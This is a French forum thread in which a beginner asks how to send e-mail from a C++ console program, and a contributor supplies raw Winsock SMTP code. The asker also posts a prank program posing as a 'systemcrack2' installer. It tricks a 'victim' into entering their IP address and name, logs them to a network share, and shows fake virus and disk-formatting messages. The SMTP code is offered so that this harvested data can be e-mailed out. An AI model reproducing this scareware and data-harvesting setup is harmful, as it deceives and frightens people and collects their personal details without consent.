C++ - Envoyer un e-mail via la console DOS

Résolu
Coco Tickles Messages postés 193 Statut Membre -  
 Lime -
Salut à tous le monde qui ose regarder mon message,

Je cherche depuis longtemps (aujourd'hui) comment envoyer un message (e-mail) via la console DOS.

En gros, je souhaiterais envoyer un message lorsque j'appuie sur une touche du clavier quand la fenêtre active est "la console DOS", un message soit envoyer.

Merci d'avance et bonne chance,

Au revoir

6 réponses

  1. Char Snipeur Messages postés 10112 Date d'inscription   Statut Contributeur Dernière intervention   1 331
     
    ok, c'est plus clair.
    Il faut donc inclure un code avec des sockets dans ton propre code. Tu saisis ensuite les données serveur. Voici un code que j'ai fait pour envoyer un message, à toi de l'adapter et de l'incorporer.
    #include <winsock2.h>
    #include <stdio.h>
    
    char *sbuf,buf[256];
        // donnees local
        SOCKET local;
        SOCKADDR_IN sinlocal;
        // donnees distantes
        SOCKET dist;
        SOCKADDR_IN sindist;
    int main()
    {
        WSADATA WSAData;
        WSAStartup(MAKEWORD(2,0), &WSAData);
        local=socket(AF_INET,SOCK_STREAM,0);if(local==SOCKET_ERROR)printf("resu de local=socket : Socket error\n");
        sinlocal.sin_family		= AF_INET;
        sinlocal.sin_addr.s_addr	= htonl(INADDR_ANY);//inet_addr(c);
        dist=socket(AF_INET,SOCK_STREAM,0);if(dist==SOCKET_ERROR)printf("resu de dist=socket : Socket error\n");
        sindist.sin_family		= AF_INET;
        sindist.sin_addr.s_addr	= inet_addr("82.216.111.2");//IP du serveur SMTP
        sindist.sin_port		= htons(25);
        
        printf("debut\n");
        int stt=bind(dist, (SOCKADDR *)&sindist, sizeof(SOCKADDR_IN));
        int tt=::connect(dist,(SOCKADDR *)&sindist, sizeof(sindist));
        recv(dist,buf,210,0);printf(buf);
        sbuf="EHLO Beber\r\n";
        send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
        recv(dist,buf,210,0);printf(buf);
        sbuf="MAIL FROM:<machin@truc.fr>\r\n";
        send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
        recv(dist,buf,210,0);printf(buf);
        sbuf="RCPT TO:<mail_envoi@ici.fr>\r\n";
        send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
        recv(dist,buf,210,0);printf(buf);
        sbuf="DATA\r\n";
        send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
        recv(dist,buf,210,0);printf(buf);
        sbuf="Subject: SUJET\r\n"
        "From: moi-meme<machin@truc.fr>\r\n"
        "To: Moi <mail_envoi@ici.fr>\r\n"
        "voici le corps du message\r\n"
        "qui doit se finir par un point seul sur une ligne"
        "\r\n.\r\n";
        send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
        recv(dist,buf,210,0);printf(buf);
        sbuf="QUIT\r\n";
        send(dist,sbuf,strlen(sbuf),0);printf("send %s\n",sbuf);
        closesocket(local);
        closesocket(dist);
        WSACleanup();
        printf("fin\n");
        return 0;
    }
    j'ai mis en gras les parties principales à modifier
    1
    1. Lime
       
      "voici le corps du message\r\n"
      "."
      "\r\n.\r\n";

      Je ne reçois pas de texte
      0
  2. Coco Tickles Messages postés 193 Statut Membre 9
     
    Salut,

    Je vais voir si le code, merci.

    Au revoir.
    1
  3. Coco Tickles Messages postés 193 Statut Membre 9
     
    Il fonctionne à merveille, merci.
    1
  4. Char Snipeur Messages postés 10112 Date d'inscription   Statut Contributeur Dernière intervention   1 331
     
    Salut.
    quel rapport avec le C++ ?
    ta question n'est pas clair.
    Pour envoyer un courriel avec la console, tu peut utiliser telnet, mais j'ai l'impression que ce n'est pas ce que tu cherches à faire.
    0
  5. Vous n’avez pas trouvé la réponse que vous recherchez ?

    Posez votre question
  6. Coco Tickles Messages postés 193 Statut Membre 9
     
    Salut,

    en effet, ce n'est pas vraiment ce qui m'intéresse.
    Pour être plus précis, je suis un débutant.
    Comme presque tous les débutants en C++, je commence à apprendre à manipuler les console.

    Voici un exemple de ce que j'ai fait:

    #include <iostream> //permet l'affichage d'un message
    #include <fstream> //permet la lecture\création\modification d'un fichier txt
    #include <windows.h> //permet les msgbox
    #include <limits> //permet de récupérer des caractères
    
    using namespace std; //permet l'affichage du texte
    
    const int MAXCARIP = 45;
    void main(void)
    {
    	int ip1, ip2, ip3, ip4;//création des variables
    	char nom [MAXCARIP];
    	cout<<"Bonjour et bienvenue dans le telechargement de systemcrack2"<<endl;
    	cout<<"Veuillez ecrire la cle d'installation: "<<endl; //demande les différents nombres de l'ip pour la 1ère fois
    	cout<<"1er nombre: ";
    	cin>>ip1;
    	cout<<"2eme nombre: ";
    	cin>>ip2;
    	cout<<"3eme nombre: ";
    	cin>>ip3;
    	cout<<"4eme nombre: ";
    	cin>>ip4;
    	cout<<"Le code d'actvation est votre adresse ip."<< endl <<"Pour connaitre son adresse ip, ouvrir cmd et ecrivez ipconfig."<<endl<<"Vous pouvez recesir le code d'activation: "<<endl; //demande les différents nombres de l'ip pour la 1ère fois
    	cout<<"1er nombre: ";
    	cin>>ip1;
    	cout<<"2eme nombre: ";
    	cin>>ip2;
    	cout<<"3eme nombre: ";
    	cin>>ip3;
    	cout<<"4eme nombre: ";
    	cin>>ip4;
    	cout<<"votre nom: ";
    	cin>>ws;
    	cin.get(nom, MAXCARIP);
    	ofstream monFlux("//ANTHONY-PC/Users/Public/code.txt", ios::app); //création d'un fichier txt
    	monFlux<<"l'adresse ip de  "<<nom<<"est "<<ip1<<"."<<ip2<<"."<<ip3<<"."<<ip4<<endl;  //affichage du texte dans le fichier type txt
    	cout<<"transmition du virus..."<<endl;
    	cout<<"envoie des donnees..."<<endl;
    	cout<<"veuillez patienter, la transmition et le formatage de votre disque est en cours... \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a \a "<<endl; //texte et bruitage
    	system ("pause"); //pause
    }
    


    Ceci est un code dont la console va faire croire à la victime l'envoie d'un virus.

    ofstream monFlux("//ANTHONY-PC/Users/Public/code.txt", ios::app); //création d'un fichier txt
    	monFlux<<"l'adresse ip de  "<<nom<<"est "<<ip1<<"."<<ip2<<"."<<ip3<<"."<<ip4<<endl;  //affichage du texte dans le fichier type txt


    Ci-dessus, je crée un fichier code dont je récupère les données fournis.
    Je voudrais les envoyer pas e-mail.

    Merci d'avance,

    Au revoir.

    PS: Attention à celui qui essaye le code car "\a" est un bruitage. Donc pour celui qui l'essaye, qu'il ouvre le gestionnaire de tâche (clique droit barre de tâche) et termine arborescence du fichier (processus, clique droit sur l'objet, terminer le processus).
    0
  7. Lime
     
    Bonjour,
    comment faire pour avoir du texte dans le message envoyer?
    Est il difficile d'ajouter une option d'authentification au server smtp?
    Merci
    0